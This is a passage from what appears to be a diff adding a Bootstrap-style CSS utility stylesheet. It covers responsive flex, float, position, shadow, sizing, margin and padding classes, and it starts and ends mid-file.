.flex-xl-row-reverse { + -ms-flex-direction: row-reverse !important; + flex-direction: row-reverse !important; + } + .flex-xl-column-reverse { + -ms-flex-direction: column-reverse !important; + flex-direction: column-reverse !important; + } + .flex-xl-wrap { + -ms-flex-wrap: wrap !important; + flex-wrap: wrap !important; + } + .flex-xl-nowrap { + -ms-flex-wrap: nowrap !important; + flex-wrap: nowrap !important; + } + .flex-xl-wrap-reverse { + -ms-flex-wrap: wrap-reverse !important; + flex-wrap: wrap-reverse !important; + } + .flex-xl-fill { + -ms-flex: 1 1 auto !important; + flex: 1 1 auto !important; + } + .flex-xl-grow-0 { + -ms-flex-positive: 0 !important; + flex-grow: 0 !important; + } + .flex-xl-grow-1 { + -ms-flex-positive: 1 !important; + flex-grow: 1 !important; + } + .flex-xl-shrink-0 { + -ms-flex-negative: 0 !important; + flex-shrink: 0 !important; + } + .flex-xl-shrink-1 { + -ms-flex-negative: 1 !important; + flex-shrink: 1 !important; + } + .justify-content-xl-start { + -ms-flex-pack: start !important; + justify-content: flex-start !important; + } + .justify-content-xl-end { + -ms-flex-pack: end !important; + justify-content: flex-end !important; + } + .justify-content-xl-center { + -ms-flex-pack: center !important; + justify-content: center !important; + } + .justify-content-xl-between { + -ms-flex-pack: justify !important; + justify-content: space-between !important; + } + .justify-content-xl-around { + -ms-flex-pack: distribute !important; + justify-content: space-around !important; + } + .align-items-xl-start { + -ms-flex-align: start !important; + align-items: flex-start !important; + } + .align-items-xl-end { + -ms-flex-align: end !important; + align-items: flex-end !important; + } + .align-items-xl-center { + -ms-flex-align: center !important; + align-items: center !important; + } + .align-items-xl-baseline { + -ms-flex-align: baseline !important; + align-items: baseline !important; + } + .align-items-xl-stretch { + -ms-flex-align: stretch !important; + align-items: stretch !important; + } + .align-content-xl-start { + -ms-flex-line-pack: start !important; + align-content: flex-start !important; + } + .align-content-xl-end { + -ms-flex-line-pack: end !important; + align-content: flex-end !important; + } + .align-content-xl-center { + -ms-flex-line-pack: center !important; + align-content: center !important; + } + .align-content-xl-between { + -ms-flex-line-pack: justify !important; + align-content: space-between !important; + } + .align-content-xl-around { + -ms-flex-line-pack: distribute !important; + align-content: space-around !important; + } + .align-content-xl-stretch { + -ms-flex-line-pack: stretch !important; + align-content: stretch !important; + } + .align-self-xl-auto { + -ms-flex-item-align: auto !important; + align-self: auto !important; + } + .align-self-xl-start { + -ms-flex-item-align: start !important; + align-self: flex-start !important; + } + .align-self-xl-end { + -ms-flex-item-align: end !important; + align-self: flex-end !important; + } + .align-self-xl-center { + -ms-flex-item-align: center !important; + align-self: center !important; + } + .align-self-xl-baseline { + -ms-flex-item-align: baseline !important; + align-self: baseline !important; + } + .align-self-xl-stretch { + -ms-flex-item-align: stretch !important; + align-self: stretch !important; + } +} + +.float-left { + float: left !important; +} + +.float-right { + float: right !important; +} + +.float-none { + float: none !important; +} + +@media (min-width: 576px) { + .float-sm-left { + float: left !important; + } + .float-sm-right { + float: right !important; + } + .float-sm-none { + float: none !important; + } +} + +@media (min-width: 768px) { + .float-md-left { + float: left !important; + } + .float-md-right { + float: right !important; + } + .float-md-none { + float: none !important; + } +} + +@media (min-width: 992px) { + .float-lg-left { + float: left !important; + } + .float-lg-right { + float: right !important; + } + .float-lg-none { + float: none !important; + } +} + +@media (min-width: 1200px) { + .float-xl-left { + float: left !important; + } + .float-xl-right { + float: right !important; + } + .float-xl-none { + float: none !important; + } +} + +.overflow-auto { + overflow: auto !important; +} + +.overflow-hidden { + overflow: hidden !important; +} + +.position-static { + position: static !important; +} + +.position-relative { + position: relative !important; +} + +.position-absolute { + position: absolute !important; +} + +.position-fixed { + position: fixed !important; +} + +.position-sticky { + position: -webkit-sticky !important; + position: sticky !important; +} + +.fixed-top { + position: fixed; + top: 0; + right: 0; + left: 0; + z-index: 1030; +} + +.fixed-bottom { + position: fixed; + right: 0; + bottom: 0; + left: 0; + z-index: 1030; +} + +@supports ((position: -webkit-sticky) or (position: sticky)) { + .sticky-top { + position: -webkit-sticky; + position: sticky; + top: 0; + z-index: 1020; + } +} + +.sr-only { + position: absolute; + width: 1px; + height: 1px; + padding: 0; + overflow: hidden; + clip: rect(0, 0, 0, 0); + white-space: nowrap; + border: 0; +} + +.sr-only-focusable:active, .sr-only-focusable:focus { + position: static; + width: auto; + height: auto; + overflow: visible; + clip: auto; + white-space: normal; +} + +.shadow-sm { + box-shadow: 0 0.125rem 0.25rem rgba(0, 0, 0, 0.075) !important; +} + +.shadow { + box-shadow: 0 0.5rem 1rem rgba(0, 0, 0, 0.15) !important; +} + +.shadow-lg { + box-shadow: 0 1rem 3rem rgba(0, 0, 0, 0.175) !important; +} + +.shadow-none { + box-shadow: none !important; +} + +.w-25 { + width: 25% !important; +} + +.w-50 { + width: 50% !important; +} + +.w-75 { + width: 75% !important; +} + +.w-100 { + width: 100% !important; +} + +.w-auto { + width: auto !important; +} + +.h-25 { + height: 25% !important; +} + +.h-50 { + height: 50% !important; +} + +.h-75 { + height: 75% !important; +} + +.h-100 { + height: 100% !important; +} + +.h-auto { + height: auto !important; +} + +.mw-100 { + max-width: 100% !important; +} + +.mh-100 { + max-height: 100% !important; +} + +.min-vw-100 { + min-width: 100vw !important; +} + +.min-vh-100 { + min-height: 100vh !important; +} + +.vw-100 { + width: 100vw !important; +} + +.vh-100 { + height: 100vh !important; +} + +.stretched-link::after { + position: absolute; + top: 0; + right: 0; + bottom: 0; + left: 0; + z-index: 1; + pointer-events: auto; + content: ""; + background-color: rgba(0, 0, 0, 0); +} + +.m-0 { + margin: 0 !important; +} + +.mt-0, +.my-0 { + margin-top: 0 !important; +} + +.mr-0, +.mx-0 { + margin-right: 0 !important; +} + +.mb-0, +.my-0 { + margin-bottom: 0 !important; +} + +.ml-0, +.mx-0 { + margin-left: 0 !important; +} + +.m-1 { + margin: 0.25rem !important; +} + +.mt-1, +.my-1 { + margin-top: 0.25rem !important; +} + +.mr-1, +.mx-1 { + margin-right: 0.25rem !important; +} + +.mb-1, +.my-1 { + margin-bottom: 0.25rem !important; +} + +.ml-1, +.mx-1 { + margin-left: 0.25rem !important; +} + +.m-2 { + margin: 0.5rem !important; +} + +.mt-2, +.my-2 { + margin-top: 0.5rem !important; +} + +.mr-2, +.mx-2 { + margin-right: 0.5rem !important; +} + +.mb-2, +.my-2 { + margin-bottom: 0.5rem !important; +} + +.ml-2, +.mx-2 { + margin-left: 0.5rem !important; +} + +.m-3 { + margin: 1rem !important; +} + +.mt-3, +.my-3 { + margin-top: 1rem !important; +} + +.mr-3, +.mx-3 { + margin-right: 1rem !important; +} + +.mb-3, +.my-3 { + margin-bottom: 1rem !important; +} + +.ml-3, +.mx-3 { + margin-left: 1rem !important; +} + +.m-4 { + margin: 1.5rem !important; +} + +.mt-4, +.my-4 { + margin-top: 1.5rem !important; +} + +.mr-4, +.mx-4 { + margin-right: 1.5rem !important; +} + +.mb-4, +.my-4 { + margin-bottom: 1.5rem !important; +} + +.ml-4, +.mx-4 { + margin-left: 1.5rem !important; +} + +.m-5 { + margin: 3rem !important; +} + +.mt-5, +.my-5 { + margin-top: 3rem !important; +} + +.mr-5, +.mx-5 { + margin-right: 3rem !important; +} + +.mb-5, +.my-5 { + margin-bottom: 3rem !important; +} + +.ml-5, +.mx-5 { + margin-left: 3rem !important; +} + +.p-0 { + padding: 0 !important; +} + +.pt-0, +.py-0 { + padding-top: 0 !important; +} + +.pr-0, +.px-0 { + padding-right: 0 !important; +} + +.pb-0, +.py-0 { + padding-bottom: 0 !important; +} + +.pl-0, +.px-0 { + padding-left: 0 !important; +} + +.p-1 { + padding: 0.25rem !important; +} + +.pt-1, +.py-1 { + padding-top: 0.25rem !important; +} + +.pr-1, +.px-1 { + padding-right: 0.25rem !important; +} + +.pb-1, +.py-1 { + padding-bottom: 0.25rem !important; +} + +.pl-1, +.px-1 { + padding-left: 0.25rem !important; +} + +.p-2 { + padding: 0.5rem !important; +} + +.pt-2, +.py-2 { + padding-top: 0.5rem !important; +} + +.pr-2, +.px-2 { + padding-right: 0.5rem !important; +} + +.pb-2, +.py-2 { + padding-bottom: 0.5rem !important; +} + +.pl-2, +.px-2 { + padding-left: 0.5rem !important; +} + +.p-3 { + padding: 1rem !important; +} + +.pt-3, +.py-3 { + padding-top: 1rem !important; +} + +.pr-3, +.px-3 { + padding-right: 1rem !important; +} + +.pb-3, +.py-3 { + padding-bottom: 1rem !important; +} + +.pl-3, +.px-3 { + padding-left: 1rem !important; +} + +.p-4 { + padding: 1.5rem !important; +} + +.pt-4, +.py-4 { + padding-top: 1.5rem !important; +} + +.pr-4, +.px-4 { + padding-right: 1.5rem !important; +} + +.pb-4, +.py-4 { + padding-bottom: 1.5rem !important; +} + +.pl-4, +.px-4 { + padding-left: 1.5rem !important; +} + +.p-5 { + padding: 3rem !important; +} + +.pt-5, +.py-5 { + padding-top: 3rem !important; +} + +.pr-5, +.px-5 { + padding-right: 3rem !important; +} + +.pb-5, +.py-5 { + padding-bottom: 3rem !important; +} + +.pl-5, +.px-5 { + padding-left: 3rem !important; +} + +.m-n1 { + margin: -0.25rem !important; +} + +.mt-n1, +.my-n1 { + margin-top: -0.25rem !important; +} + +.mr-n1, +.mx-n1 { + margin-right: -0.25rem !important; +} + +.mb-n1, +.my-n1 { + margin-bottom: -0.25rem !important; +} + +.ml-n1, +.mx-n1 { + margin-left: -0.25rem !important; +} + +.m-n2 { + margin: -0.5rem !important; +} + +.mt-n2, +.my-n2 { + margin-top: -0.5rem !important; +} + +.mr-n2, +.mx-n2 { + margin-right: -0.5rem !important; +} + +.mb-n2, +.my-n2 { + margin-bottom: -0.5rem !important; +} + +.ml-n2, +.mx-n2 { + margin-left: -0.5rem !important; +} + +.m-n3 { + margin: -1rem !important; +} + +.mt-n3, +.my-n3 { + margin-top: -1rem !important; +} + +.mr-n3, +.mx-n3 { + margin-right: -1rem !important; +} + +.mb-n3, +.my-n3 { + margin-bottom: -1rem !important; +} + +.ml-n3, +.mx-n3 { + margin-left: -1rem !important; +} + +.m-n4 { + margin: -1.5rem !important; +} + +.mt-n4, +.my-n4 { + margin-top: -1.5rem !important; +} + +.mr-n4, +.mx-n4 { + margin-right: -1.5rem !important; +} + +.mb-n4, +.my-n4 { + margin-bottom: -1.5rem !important; +} + +.ml-n4, +.mx-n4 { + margin-left: -1.5rem !important; +} + +.m-n5 { + margin: -3rem !important; +} + +.mt-n5, +.my-n5 { + margin-top: -3rem !important; +} + +.mr-n5, +.mx-n5 { + margin-right: -3rem !important; +} + +.mb-n5, +.my-n5 { + margin-bottom: -3rem !important; +} + +.ml-n5, +.mx-n5 { + margin-left: -3rem !important; +} + +.m-auto { + margin: auto !important; +} + +.mt-auto, +.my-auto { + margin-top: auto !important; +} + +.mr-auto, +.mx-auto { + margin-right: auto !important; +} + +.mb-auto, +.my-auto { + margin-bottom: auto !important; +} + +.ml-auto, +.mx-auto { + margin-left: auto !important; +} + +@media (min-width: 576px) { + .m-sm-0 { + margin: 0 !important; + } + .mt-sm-0, + .my-sm-0 { + margin-top: 0 !important; + } + .mr-sm-0, + .mx-sm-0 { + margin-right: 0 !important; + } + .mb-sm-0, + .my-sm-0 { + margin-bottom: 0 !important; + } + .ml-sm-0, + .mx-sm-0 { + margin-left: 0 !important; + } + .m-sm-1 { + margin: 0.25rem !important; + } + .mt-sm-1, + .my-sm-1 { + margin-top: 0.25rem !important; + } + .mr-sm-1, + .mx-sm-1 { + margin-right: 0.25rem !important; + } + .mb-sm-1, + .my-sm-1 { + margin-bottom: 0.25rem !important; + } + .ml-sm-1, + .mx-sm-1 { + margin-left: 0.25rem !important; + } + .m-sm-2 { + margin: 0.5rem !important; + } + .mt-sm-2, + .my-sm-2 { + margin-top: 0.5rem !important; + } + .mr-sm-2, + .mx-sm-2 { + margin-right: 0.5rem !important; + } + .mb-sm-2, + .my-sm-2 { + margin-bottom: 0.5rem !important; + } + .ml-sm-2, + .mx-sm-2 { + margin-left: 0.5rem !important; + } + .m-sm-3 { + margin: 1rem !important; + } + .mt-sm-3, + .my-sm-3 { + margin-top: 1rem !important; + } + .mr-sm-3, + .mx-sm-3 { + margin-right: 1rem !important; + } + .mb-sm-3, + .my-sm-3 { + margin-bottom: 1rem !important; + } + .ml-sm-3, + .mx-sm-3 { + margin-left: 1rem !important; + } + .m-sm-4 { + margin: 1.5rem !important; + } + .mt-sm-4, + .my-sm-4 { + margin-top: 1.5rem !important; + } + .mr-sm-4, + .mx-sm-4 { + margin-right: 1.5rem !important; + } + .mb-sm-4, + .my-sm-4 { + margin-bottom: 1.5rem !important; + } + .ml-sm-4, + .mx-sm-4 { + margin-left: 1.5rem !important; + } + .m-sm-5 { + margin: 3rem !important; + } + .mt-sm-5, + .my-sm-5 { + margin-top: 3rem !important; + } + .mr-sm-5, + .mx-sm-5 { + margin-right: 3rem !important; + } + .mb-sm-5, + .my-sm-5 { + margin-bottom: 3rem !important; + } + .ml-sm-5, + .mx-sm-5 { + margin-left: 3rem !important; + } + .p-sm-0 { + padding: 0 !important; + } + .pt-sm-0, + .py-sm-0 { + padding-top: 0 !important; + } + .pr-sm-0, + .px-sm-0 { + padding-right: 0 !important; + } + .pb-sm-0, + .py-sm-0 { + padding-bottom: 0 !important; + } + .pl-sm-0, + .px-sm-0 { + padding-left: 0 !important; + } + .p-sm-1 { + padding: 0.25rem !important; + } + .pt-sm-1, + .py-sm-1 { + padding-top: 0.25rem !important; + } + .pr-sm-1, + .px-sm-1 { + padding-right: 0.25rem !important; + } + .pb-sm-1, + .py-sm-1 { + padding-bottom: 0.25rem !important; + } + .pl-sm-1, + .px-sm-1 { + padding-left: 0.25rem !important; + } + .p-sm-2 { + padding: 0.5rem !important; + } + .pt-sm-2, + .py-sm-2 { + padding-top: 0.5rem !important; + } + .pr-sm-2, + .px-sm-2 { + padding-right: 0.5rem !important; + } + .pb-sm-2, + .py-sm-2 { + padding-bottom: 0.5rem !important; + } + .pl-sm-2, + .px-sm-2 { + padding-left: 0.5rem !important; + } + .p-sm-3 { + padding: 1rem !important; + } + .pt-sm-3, + .py-sm-3 { + padding-top: 1rem !important; + } + .pr-sm-3, + .px-sm-3 { + padding-right: 1rem !important; + } + .pb-sm-3, + .py-sm-3 { + padding-bottom: 1rem !important; + } + .pl-sm-3, + .px-sm-3 { + padding-left: 1rem !important; + } + .p-sm-4 { + padding: 1.5rem !important; + } + .pt-sm-4, + .py-sm-4 { + padding-top: 1.5rem !important; + } + .pr-sm-4, + .px-sm-4 { + padding-right: 1.5rem !important; + } + .pb-sm-4, + .py-sm-4 { + padding-bottom: 1.5rem !important; + } + .pl-sm-4, + .px-sm-4 { + padding-left: 1.5rem !important; + } + .p-sm-5 { + padding: 3rem !important; + } + .pt-sm-5, + .py-sm-5 { + padding-top: 3rem !important; + } + .pr-sm-5, + .px-sm-5 { + padding-right: 3rem !important; + } + .pb-sm-5, + .py-sm-5 { + padding-bottom: 3rem !important; + } + .pl-sm-5, + .px-sm-5 { + padding-left: 3rem !important; + } + .m-sm-n1 { + margin: -0.25rem !important; + } + .mt-sm-n1, + .my-sm-n1 { + margin-top: -0.25rem !important; + } + .mr-sm-n1, + .mx-sm-n1 { + margin-right: -0.25rem !important; + } + .mb-sm-n1, + .my-sm-n1 { + margin-bottom: -0.25rem !important; + } + .ml-sm-n1, + .mx-sm-n1 { + margin-left: -0.25rem !important; + } + .m-sm-n2 { + margin: -0.5rem !important; + } + .mt-sm-n2, + .my-sm-n2 { + margin-top: -0.5rem !important; + } + .mr-sm-n2, + .mx-sm-n2 { + margin-right: -0.5rem !important; + } + .mb-sm-n2, + .my-sm-n2 { + margin-bottom: -0.5rem !important; + } + .ml-sm-n2, + .mx-sm-n2 { + margin-left: -0.5rem !important; + } + .m-sm-n3 { + margin: -1rem !important; + } + .mt-sm-n3, + .my-sm-n3 { + margin-top: -1rem !important; + } + .mr-sm-n3, + .mx-sm-n3 { + margin-right: -1rem !important; + } + .mb-sm-n3, + .my-sm-n3 { + margin-bottom: -1rem !important; + } + .ml-sm-n3, + .mx-sm-n3 { + margin-left: -1rem !important; + } + .m-sm-n4 { + margin: -1.5rem !important; + } + .mt-sm-n4, + .my-sm-n4 { + margin-top: -1.5rem !important; + } + .mr-sm-n4, + .mx-sm-n4 { + margin-right: -1.5rem !important; + } + .mb-sm-n4, + .my-sm-n4 { + margin-bottom: -1.5rem !important; + } + .ml-sm-n4, + .mx-sm-n4 { + margin-left: -1.5rem !important; + } + .m-sm-n5 { + margin: -3rem !important; + } + .mt-sm-n5, + .my-sm-n5 { + margin-top: -3rem !important; + } + .mr-sm-n5, + .mx-sm-n5 { + margin-right: -3rem !important; + } + .mb-sm-n5, + .my-sm-n5 { + margin-bottom: -3rem !important; + } + .ml-sm-n5, + .mx-sm-n5 { + margin-left: -3rem !important; + } + .m-sm-auto { + margin: auto !important; + } + .mt-sm-auto, + .my-sm-auto { + margin-top: auto !important; + } + .mr-sm-auto, + .mx-sm-auto { + margin-right: auto !important; + } + .mb-sm-auto, + .my-sm-auto { + margin-bottom: auto !important; + } + .ml-sm-auto, + .mx-sm-auto { + margin-left: auto !important; + } +} + +@media (min-width: 768px) { + .m-md-0 { + margin: 0 !important; + } + .mt-md-0, + .my-md-0 { + margin-top: 0 !important; + } + .mr-md-0, + .mx-md-0 { + margin-right: 0 !important; + } + .mb-md-0, + .my-md-0 { + margin-bottom: 0 !important; + } + .ml-md-0, + .mx-md-0 { + margin-left: 0 !important; + } + .m-md-1 { + margin: 0.25rem !important; + } + .mt-md-1, + .my-md-1 { + margin-top: 0.25rem !important; + } + .mr-md-1, + .mx-md-1 { + margin-right: 0.25rem !important; + } + .mb-md-1, + .my-md-1 { + margin-bottom: 0.25rem !important; + } + .ml-md-1, + .mx-md-1 { + margin-left: 0.25rem !important; + } + .m-md-2 { + margin: 0.5rem !important; + } + .mt-md-2, + .my-md-2 { + margin-top: 0.5rem !important; + } + .mr-md-2, + .mx-md-2 { + margin-right: 0.5rem !important; + } + .mb-md-2, + .my-md-2 { + margin-bottom: 0.5rem !important; + } + .ml-md-2, + .mx-md-2 { + margin-left: 0.5rem !important; + } + .m-md-3 { + margin: 1rem !important; + } + .mt-md-3, + .my-md-3 { + margin-top: 1rem !important; + } + .mr-md-3, + .mx-md-3 { + margin-right: 1rem !important; + } + .mb-md-3, + .my-md-3 { + margin-bottom: 1rem !important; + } + .ml-md-3, + .mx-md-3 { + margin-left: 1rem !important; + } + .m-md-4 { + margin: 1.5rem !important; + } + .mt-md-4, + .my-md-4 { + margin-top: 1.5rem !important; + } + .mr-md-4, + .mx-md-4 { + margin-right: 1.5rem !important; + } + .mb-md-4, + .my-md-4 { + margin-bottom: 1.5rem !important; + } + .ml-md-4, + .mx-md-4 { + margin-left: 1.5rem !important; + } + .m-md-5 { + margin: 3rem !important; + } + .mt-md-5, + .my-md-5 { + margin-top: 3rem !important; + } + .mr-md-5, + .mx-md-5 { + margin-right: 3rem !important; + } + .mb-md-5, + .my-md-5 { + margin-bottom: 3rem !important; + } + .ml-md-5, + .mx-md-5 { + margin-left: 3rem !important; + } + .p-md-0 { + padding: 0 !important; + } + .pt-md-0, + .py-md-0 { + padding-top: 0 !important; + } + .pr-md-0, + .px-md-0 { + padding-right: 0 !important; + } + .pb-md-0, + .py-md-0 { + padding-bottom: 0 !important; + } + .pl-md-0, + .px-md-0 { + padding-left: 0 !important; + } + .p-md-1 { + padding: 0.25rem !important; + } + .pt-md-1, + .py-md-1 { + padding-top: 0.25rem !important; + } + .pr-md-1, + .px-md-1 { + padding-right: 0.25rem !important; + } + .pb-md-1, + .py-md-1 { + padding-bottom: 0.25rem !important; + } + .pl-md-1, + .px-md-1 { + padding-left: 0.25rem !important; + } + .p-md-2 { + padding: 0.5rem !important; + } + .pt-md-2, + .py-md-2 { + padding-top: 0.5rem !important; + } + .pr-md-2, + .px-md-2 { + padding-right: 0.5rem !important; + } + .pb-md-2, + .py-md-2 { + padding-bottom: 0.5rem !important; + } + .pl-md-2, + .px-md-2 { + padding-left: 0.5rem !important; + } + .p-md-3 { + padding: 1rem !important; + } + .pt-md-3, + .py-md-3 { + padding-top: 1rem !important; + } + .pr-md-3, + .px-md-3 { + padding-right: 1rem !important; + } + .pb-md-3, + .py-md-3 { + padding-bottom: 1rem !important; + } + .pl-md-3, + .px-md-3 { + padding-left: 1rem !important; + } + .p-md-4 { + padding: 1.5rem !important; + } + .pt-md-4, + .py-md-4 { + padding-top: 1.5rem !important; + } + .pr-md-4, + .px-md-4 { + padding-right: 1.5rem !important; + } + .pb-md-4, + .py-md-4 { + padding-bottom: 1.5rem !important; + } + .pl-md-4, + .px-md-4 { + padding-left: 1.5rem !important; + } + .p-md-5 { + padding: 3rem !important; + } + .pt-md-5, + .py-md-5 { + padding-top: 3rem !important; + } + .pr-md-5, + .px-md-5 { + padding-right: 3rem !important; + } + .pb-md-5, + .py-md-5 { + padding-bottom: 3rem !important; + } + .pl-md-5, + .px-md-5 { + padding-left: 3rem !important; + } + .m-md-n1 { + margin: -0.25rem !important; + } + .mt-md-n1, + .my-md-n1 { + margin-top: -0.25rem !important; + } + .mr-md-n1, + .mx-md-n1 { + margin-right: -0.25rem !important; + } + .mb-md-n1, + .my-md-n1 { + margin-bottom: -0.25rem !important; + } + .ml-md-n1, + .mx-md-n1 { + margin-left: -0.25rem !important; + } + .m-md-n2 { + margin: -0.5rem !important; + } + .mt-md-n2, + .my-md-n2 { + margin-top: -0.5rem !important; + } + .mr-md-n2, + .mx-md-n2 { + margin-right: -0.5rem !important; + } + .mb-md-n2, + .my-md-n2 { + margin-bottom: -0.5rem !important; + } + .ml-md-n2, + .mx-md-n2 { + margin-left: -0.5rem !important; + } + .m-md-n3 { + margin: -1rem !important; + } + .mt-md-n3, + .my-md-n3 { + margin-top: -1rem !important; + } + .mr-md-n3, + .mx-md-n3 { + margin-right: -1rem !important; + } + .mb-md-n3, + .my-md-n3 { + margin-bottom: -1rem !important; + } + .ml-md-n3, + .mx-md-n3 { + margin-left: -1rem !important; + } + .m-md-n4 { + margin: -1.5rem !important; + } + .mt-md-n4, + .my-md-n4 { + margin-top: -1.5rem !important; + } + .mr-md-n4, + .mx-md-n4 { + margin-right: -1.5rem !important; + } + .mb-md-n4, + .my-md-n4 { + margin-bottom: -1.5rem !important; + } + .ml-md-n4, + .mx-md-n4 { + margin-left: -1.5rem !important; + } + .m-md-n5 { + margin: -3rem !important; + } + .mt-md-n5, + .my-md-n5 { + margin-top: -3rem !important; + } + .mr-md-n5, + .mx-md-n5 { + margin-right: -3rem !important; + } + .mb-md-n5, + .my-md-n5 { + margin-bottom: -3rem !important; + } + .ml-md-n5, + .mx-md-n5 { + margin-left: -3rem !important; + } + .m-md-auto { + margin: auto !important; + } + .mt-md-auto, + .my-md-auto { + margin-top: auto !important; + } + .mr-md-auto, + .mx-md-auto { + margin-right: auto !important; + } + .mb-md-auto, + .my-md-auto { + margin-bottom: auto !important; + } + .ml-md-auto, + .mx-md-auto { + margin-left: auto !important; + } +} + +@media (min-width: 992px) { + .m-lg-0 { + margin: 0 !important; + } + .mt-lg-0, + .my-lg-0 { + margin-top: 0 !important; + } + .mr-lg-0, + .mx-lg-0 { + margin-right: 0 !important; + } + .mb-lg-0, + .my-lg-0 { + margin-bottom: 0 !important; + } + .ml-lg-0, + .mx-lg-0 { + margin-left: 0 !important; + } + .m-lg-1 { + margin: 0.25rem !important; + } + .mt-lg-1, + .my-lg-1 { + margin-top: 0.25rem !important; + } + .mr-lg-1, + .mx-lg-1 { + margin-right: 0.25rem !important; + } + .mb-lg-1, + .my-lg-1 { + margin-bottom: 0.25rem !important; + } + .ml-lg-1, + .mx-lg-1 { + margin-left: 0.25rem !important; + } + .m-lg-2 { + margin: 0.5rem !important; + } + .mt-lg-2, + .my-lg-2 { + margin-top: 0.5rem !important; + } + .mr-lg-2, + .mx-lg-2 { + margin-right: 0.5rem !important; + } + .mb-lg-2, + .my-lg-2 { + margin-bottom: 0.5rem !important; + } + .ml-lg-2, + .mx-lg-2 { + margin-left: 0.5rem !important; + } + .m-lg-3 { + margin: 1rem !important; + } + .mt-lg-3, + .my-lg-3 { + margin-top: 1rem !important; + } + .mr-lg-3, + .mx-lg-3 { + margin-right: 1rem !important; + } + .mb-lg-3, + .my-lg-3 { + margin-bottom: 1rem !important; + } + .ml-lg-3, + .mx-lg-3 { + margin-left: 1rem !important; + } + .m-lg-4 { + margin: 1.5rem !important; + } + .mt-lg-4, + .my-lg-4 { + margin-top: 1.5rem !important; + } + .mr-lg-4, + .mx-lg-4 { + margin-right: 1.5rem !important; + } + .mb-lg-4, + .my-lg-4 { + margin-bottom: 1.5rem !important; + } + .ml-lg-4, + .mx-lg-4 { + margin-left: 1.5rem !important; + } + .m-lg-5 { + margin: 3rem !important; + } + .mt-lg-5, + .my-lg-5 { + margin-top: 3rem !important; + } + .mr-lg-5, + .mx-lg-5 { + margin-right: 3rem !important; + } + .mb-lg-5, + .my-lg-5 { + margin-bottom: 3rem !important; + } + .ml-lg-5, + .mx-lg-5 { + margin-left: 3rem !important; + } + .p-lg-0 { + padding: 0 !important; + } + .pt-lg-0, + .py-lg-0 { + padding-top: 0 !important; + } + .pr-lg-0, + .px-lg-0 { + padding-right: 0 !important; + } + .pb-lg-0, + .py-lg-0 { + padding-bottom: 0 !important; + } + .pl-lg-0, + .px-lg-0 { + padding-left: 0 !important; + } + .p-lg-1 { + padding: 0.25rem !important; + } + .pt-lg-1, + .py-lg-1 { + padding-top: 0.25rem !important; + } + .pr-lg-1, + .px-lg-1 { + padding-right: 0.25rem !important; + } + .pb-lg-1, + .py-lg-1 { + padding-bottom: 0.25rem !important; + } + .pl-lg-1, + .px-lg-1 { + padding-left: 0.25rem !important; + } + .p-lg-2 { + padding: 0.5rem !important; + } + .pt-lg-2, + .py-lg-2 { + padding-top: 0.5rem !important; + } + .pr-lg-2, + .px-lg-2 { + padding-right: 0.5rem !important; + } + .pb-lg-2, + .py-lg-2 { + padding-bottom: 0.5rem !important; + } + .pl-lg-2, + .px-lg-2 { + padding-left: 0.5rem !important; + } + .p-lg-3 { + padding: 1rem !important; + } + .pt-lg-3, + .py-lg-3 { + padding-top: 1rem !important; + } + .pr-lg-3, + .px-lg-3 { + padding-right: 1rem !important; + } + .pb-lg-3, + .py-lg-3 { + padding-bottom: 1rem !important; + } + .pl-lg-3, + .px-lg-3 { + padding-left: 1rem !important; + } + .p-lg-4 { + padding: 1.5rem !important; + } + .pt-lg-4, + .py-lg-4 { + padding-top: 1.5rem !important; + } + .pr-lg-4, + .px-lg-4 { + padding-right: 1.5rem !important; + } + .pb-lg-4, + .py-lg-4 { + padding-bottom: 1.5rem !important; + } + .pl-lg-4, + .px-lg-4 { + padding-left: 1.5rem !important; + } + .p-lg-5 { + padding: 3rem !important; + } + .pt-lg-5, + .py-lg-5 { + padding-top: 3rem !important; + } + .pr-lg-5, + .px-lg-5 { + padding-right: 3rem !important; + } + .pb-lg-5, + .py-lg-5 { + padding-bottom: 3rem !important; + } + .pl-lg-5, + .px-lg-5 { + padding-left: 3rem !important; + } + .m-lg-n1 { + margin: -0.25rem !important; + } + .mt-lg-n1, + .my-lg-n1 { + margin-top: -0.25rem !important; + } + .mr-lg-n1, + .mx-lg-n1 { + margin-right: -0.25rem !important; + } + .mb-lg-n1, + .my-lg-n1 { + margin-bottom: -0.25rem !important; + } + .ml-lg-n1, + .mx-lg-n1 { + margin-left: -0.25rem !important; + } + .m-lg-n2 { + margin: -0.5rem !important; + } + .mt-lg-n2, + .my-lg-n2 { + margin-top: -0.5rem !important; + } + .mr-lg-n2, + .mx-lg-n2 { + margin-right: -0.5rem !important; + } + .mb-lg-n2, + .my-lg-n2 { + margin-bottom: -0.5rem !important; + } + .ml-lg-n2, + .mx-lg-n2 { + margin-left: -0.5rem !important; + } + .m-lg-n3 { + margin: -1rem !important; + } + .mt-lg-n3, + .my-lg-n3 { + margin-top: -1rem !important; + } + .mr-lg-n3, + .mx-lg-n3 { + margin-right: -1rem !important; + } + .mb-lg-n3, + .my-lg-n3 { + margin-bottom: -1rem !important; + } + .ml-lg-n3, + .mx-lg-n3 { + margin-left: -1rem !important; + } + .m-lg-n4 { + margin: -1.5rem !important; + } + .mt-lg-n4, + .my-lg-n4 { + margin-top: -1.5rem !important; + } + .mr-lg-n4, + .mx-lg-n4 { + margin-right: -1.5rem !important; + } + .mb-lg-n4, + .my-lg-n4 { + margin-bottom: -1.5rem !important; + } + .ml-lg-n4, + .mx-lg-n4 { + margin-left: -1.5rem !important; + } + .m-lg-n5 { + margin: -3rem !important; + } + .mt-lg-n5, + .my-lg-n5 { + margin-top: -3rem !important; + } + .mr-lg-n5, + .mx-lg-n5 { + margin-right: -3rem !important; + } + .mb-lg-n5, + .my-lg-n5 { + margin-bottom: -3rem !important; + } + .ml-lg-n5, + .mx-lg-n5 { + margin-left: -3rem !important; + } + .m-lg-auto { + margin: auto !important; + } + .mt-lg-auto, + .my-lg-auto { + margin-top: auto !important; + } + .mr-lg-auto, + .mx-lg-auto { + margin-right: auto !important; + } + .mb-lg-auto, + .my-lg-auto { + margin-bottom: auto !important; + } + .ml-lg-auto, + .mx-lg-auto { + margin-left: auto !important; + } +} + +@media (min-width: 1200px) { + .m-xl-0 { + margin: 0 !important; + } + .mt-xl-0, + .my-xl-0 { + margin-top: 0 !important; + } + .mr-xl-0, + .mx-xl-0 { + margin-right: 0 !important; + } + .mb-xl-0, + .my-xl-0 { + margin-bottom: 0 !important; + } + .ml-xl-0, + .mx-xl-0 { + margin-left: 0 !important; + } + .m-xl-1 { + margin: 0.25rem !important; + } + .mt-xl-1, + .my-xl-1 { + margin-top: 0.25rem !important; + } + .mr-xl-1, + .mx-xl-1 { + margin-right: 0.25rem !important; + } + 